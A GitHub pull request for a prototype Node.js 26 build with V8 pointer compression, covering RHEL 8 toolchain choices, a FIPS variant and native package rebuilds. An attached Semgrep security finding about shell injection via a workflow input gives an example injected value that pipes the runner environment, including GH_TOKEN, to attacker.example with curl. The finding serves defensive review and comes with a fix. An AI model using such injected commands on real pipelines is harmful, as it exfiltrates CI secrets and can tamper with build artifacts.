Repository navigation
Conversation
Standard and FIPS builds configured with --experimental-enable-pointer-compression (multi-cage, V8 sandbox off) and Temporal support, with no Node or V8 source changes. Node 26 needs GCC >= 13.2, newer than Ubuntu 22.04's libstdc++ (the sandbox and remote-execution hosts). Like the official release binaries, these build on RHEL 8 (AlmaLinux 8) with gcc-toolset-14, which keeps the runtime requirements at glibc 2.28, GLIBCXX_3.4.25 and libatomic. The FIPS build compiles against OpenSSL 3.0 LTS built from source and links against the system libssl.so.3 at runtime. Each build is verified before it is published: symbol versions must be available on Ubuntu 22.04, and asana-smoke-test.js must pass with LD_BIND_NOW=1 on stock Ubuntu 22.04 and on Wolfi. Native packages are rebuilt with the same toolchain; @datadog/pprof moves to 5.20.0, the first line with Node 26 (ABI 147) support. Co-authored-by: Cursor <cursoragent@cursor.com>
| run: | | ||
| docker build -t node_fips_build -f ./${{ inputs.DOCKER_FILE }} . | ||
|
|
There was a problem hiding this comment.
🟠 High severity blocking issue identified in your code:
The untrusted inputs.DOCKER_FILE value is inserted into a shell command, allowing a caller to execute commands on the GitHub Actions runner and exfiltrate GH_TOKEN or modify build artifacts.
More details about this
inputs.DOCKER_FILE is interpolated directly into the shell script that runs docker build. Because workflow inputs can be controlled by a workflow caller or an untrusted workflow trigger, an attacker can supply shell metacharacters instead of only a Dockerfile path.
For example, a malicious input such as:
Dockerfile; env | curl -X POST --data-binary @- https://attacker.example/collect #
turns the step into commands equivalent to:
docker build -t node_fips_build -f ./Dockerfile
env | curl -X POST --data-binary @- https://attacker.example/collectThe injected command executes on the GitHub runner with the workflow environment, including GH_TOKEN from secrets.GITHUB_TOKEN, and can send that token, checked-out source, or other runner data to the attacker. Since this step runs before artifact creation, the attacker can also alter the build or workspace and influence the files later archived by Upload Node archive.
To resolve this comment:
✨ Commit fix suggestion
| run: | | |
| docker build -t node_fips_build -f ./${{ inputs.DOCKER_FILE }} . | |
| env: | |
| DOCKER_FILE: ${{ inputs.DOCKER_FILE }} | |
| run: | | |
| docker build -t node_fips_build -f "./$DOCKER_FILE" . |
View step-by-step instructions
- Add the input to the step’s
env:block instead of interpolating it directly in the shell script:env: DOCKER_FILE: ${{ inputs.DOCKER_FILE }}
- Replace the direct GitHub expression with the quoted environment variable:
run: | docker build -t node_fips_build -f "./$DOCKER_FILE" .
- Keep the
working-directory: nodesetting so the Dockerfile path remains relative to the checked-out Node source. Quoting"$DOCKER_FILE"prevents input characters from being interpreted as shell syntax.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.
Please reach out to Security (go/sec-inbox) if you need help with this.
You can view more details about this finding in the Semgrep AppSec Platform.
|
Semgrep found 8
🟡 Medium severity issue identified in your code: GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. Please reach out to Security (go/sec-inbox) if you need help with this. |
Co-authored-by: Cursor <cursoragent@cursor.com>
Summary
A prototype of Asana's Node.js 26.12.1 build for LunaServer after Fiber Elimination. It's the Node 26 counterpart of #30 (Node 24.22.1) and uses the same approach: no Node or V8 source changes, just builds with V8 pointer compression, which upstream release binaries don't include.
The base branch
v26.12.1is exactly upstreamv26.12.1(bc2e01dcf6).The toolchain problem, and how this avoids it
Node 26 requires GCC ≥ 13.2 or Clang ≥ 19.1. A plain GCC 13 build links against libstdc++'s
GLIBCXX_3.4.31and newer. Those versions aren't available on the Ubuntu 22.04 sandboxes and EngFlow remote-execution workers that run LunaServer's Node toolchain in tests.Upstream has the same problem and solves it in its official binaries, which are built on RHEL 8 with gcc-toolset and need only glibc ≥ 2.28 and
GLIBCXX_3.4.25. gcc-toolset links the parts of libstdc++ that are newer than RHEL 8's system GCC 8 runtime statically into the binary. This PR builds the same way, on AlmaLinux 8 with gcc-toolset-14. That requires:New runtime requirement: like upstream's binaries for Node 25 and later, this binary needs the
libatomicruntime.build-essential.asana2/tools/build_rules/rules_apko/lunaserver/base*.apko.yaml) needlibatomicadded.What's in it
Dockerfile.Node26--experimental-enable-pointer-compression --v8-enable-temporal-support.deps/crates, as in official builds.Dockerfile.Node26fips--shared-opensslagainst OpenSSL 3.0.22 built from source (pinned SHA-256), because RHEL 8's system OpenSSL is 1.1.1.OPENSSL_3.0.0symbol version, so the binary uses the runtimelibssl.so.3: Ubuntu's 3.0.2 or Wolfi's 3.6 and its FIPS provider.OPENSSL_str[n]casecmpand two CMP functions. Node uses none of them.Dockerfile.PackagesARGs, and the workflow reads them to name the store directories.@datadog/pprofmoves to 5.15.1: 5.8.0, which codez's dd-trace 5.53.0 pins, has no Node 26 build.5.16.0 and later add
otel-thread-ctx.cc, whichstatic_asserts that V8 was built without pointer compression, so they don't compile against our headers.build/Release/, whichnode-gyp-buildchecks first, and also over any stock prebuild for this ABI.asana-verify-build.sh,asana-smoke-test.jsandstage_for_s3.bashare as in Node 24.22.1 build for post-Fiber Elimination LunaServer #30, with these Node 26 additions:LD_BIND_NOW=1, so a missing library symbol fails immediately instead of at first call.OPENSSL_3.0.0.libatomicis installed in the test containers when the binary needs it.src/node_version.h.Extra codez work for 26, on top of #30's list
libatomic(it isn't inNEEDED), so the apko images don't need it yet. The verify script will catch it if that changes.@datadog/pprof5.15.1 and match the packages tarball's@datadog+pprof@5.15.1directory. A pnpm override to 5.15.1 also works.Newer dd-trace releases pin pprof 5.17+. Getting onto those needs either a small patch that compiles out
otel-thread-ctxon pointer-compressed builds or an upstream fix from Datadog.@confluentinc/kafka-javascripttarball with ABI 147 binaries. It only has 127 and 137.buffer-equal-constant-time(viajwa/jws). It callsSlowBuffer, which is removed in 26, when it loads, which breaksjsonwebtoken,google-auth-library,@google/genai,@ai-sdk/google-vertexandbotbuilder-core.garbage_collection_reporter.ts:entry.kind/entry.flagsareundefinedon 26. Useentry.detail.kindandentry.detail.flags.--no-experimental-webstorage. Otherwiseglobal.window = globalinamd_bootstrap.jsmakes the newlocalStorageglobal print anExperimentalWarning.process.bindinggives a runtime deprecation warning (DEP0111). The only call goes away withfiber_elimination_utils.ts.Status
This is a prototype to show the toolchain works. If it builds and passes verification, the same RHEL 8 setup would also give #30 more headroom: that build sits at exactly
GLIBCXX_3.4.30, Ubuntu 22.04's ceiling.